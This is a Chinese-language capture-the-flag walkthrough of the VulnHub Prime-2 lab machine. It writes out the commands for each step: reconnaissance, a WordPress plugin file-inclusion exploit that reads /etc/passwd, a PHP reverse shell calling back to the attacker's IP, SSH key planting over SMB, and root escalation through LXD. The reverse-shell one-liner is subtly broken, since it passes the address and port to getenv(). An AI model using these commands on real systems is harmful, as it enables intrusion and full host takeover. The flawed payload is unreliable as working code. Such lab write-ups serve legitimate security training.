VulnHub-Prime-2
环境
Kali: 192.168.132.131
靶机:192.168.132.147 靶机地址:http://www.vulnhub.com/entry/prime-2021-2,696/
一、信息收集
nmap -sP 192.168.132.0/24
nmap -p- -sC -sV 192.168.132.147
检查 smb 共享文件夹
smbclient -L 192.168.132.147
进入smb 共享文件夹,找到shell.php
smbclient //192.168.132.147/welcome
下载查看
发现用户名
gobuster dir -u http://192.168.132.147 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 400,403,404,500 -t 100 -x .php,.html,.txt,.bak,.zip
二、漏洞探测
检查 wordpress 的漏洞,发现 1 个用户和 1 个易受攻击的插件。
wpscan --url http://192.168.132.147/wp/ -e u,ap
该插件存在文件包含漏洞
查看漏洞说明
三、漏洞验证
进行验证
curl 'http://192.168.132.147/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd'
curl 'http://192.168.132.147/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=id'
http://192.168.132.147:10123/
存在目录遍历漏洞,存在一句话木马,可以进行尝试进行文本包含漏洞执行脚本进行反弹shell
利用漏洞
php -r '$sock=fsockopen(getenv("192.168.132.131"),getenv("4444"));exec("/bin/sh -i <&3 >&3 2>&3");'
http://192.168.132.147:10123/upload/shell.php?cmd=php%20-r%20'%24sock%3dfsockopen(getenv(%22192.168.132.131%22)%2cgetenv(%224444%22))%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b'
开启监听端口,接收反弹shell
发现用户jarves的家为smb共享文件,进行上传rsa密钥,进而免密码进行ssh登录到jarves
在攻击机中生成rsa的公钥和私钥
将公钥id_rsa.pub追加到authorized_keys中,并验证两者内容是否一致
cat id_rsa.pub >> authorized_keys
进入smb共享文件夹,并创建.ssh文件,将authorized_keys文件上传到.ssh文件夹内
smbclient //192.168.132.147/welcome
攻击机的使用ssh免密进行登录,验证当前用户
四、提权
获得jarves用户权限,验证用户jarves是LXD组的成员,接下来使用lxd漏洞进行提权
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
在攻击机上开启临时http服务
使靶机访问并下载
lxd init
lxc image import ./alpine-v3.13-x86_64-20210608_1525.tar.gz --alias myimage
lxc image list
lxd init alpine:v3.12 mypool
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite | lxc exec ignite /bin/sh
获得root权限
将authorized_keys文件上传到root/.ssh文件中实现远程ssh免密登录
进入/mnt/root内,这个目录包含所有宿主机文件
进入root/.ssh目录中,将靶机中authorized_keys文件删除,将攻击机中的authorized_keys文件下载到.ssh文件夹
chmod 600 authorized_keys
攻击机的使用ssh免密进行登录,验证当前用户root
五、总结
使用nmap扫描端口,检查smb共享文件夹,发现获得shell的脚本和用户名,使用gobuster目录扫描,发现目录wp特征为CMS框架,使用wpscan工具扫描该CMS框架,发现gracemdia-media-player插件,使用searchsploit工具搜索该插件的漏洞,存在文件包含漏洞,与该网站10123端口下脚本组合利用,反弹shell,发现用户jarves的家为smb共享文件,通过smb共享文件夹上传攻击机的公钥,进而免密码进行ssh登录到jarves,获得jarves用户权限,验证用户jarves是LXD组的成员,接下来使用lxd漏洞进行提权,获得root权限。
注:LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配。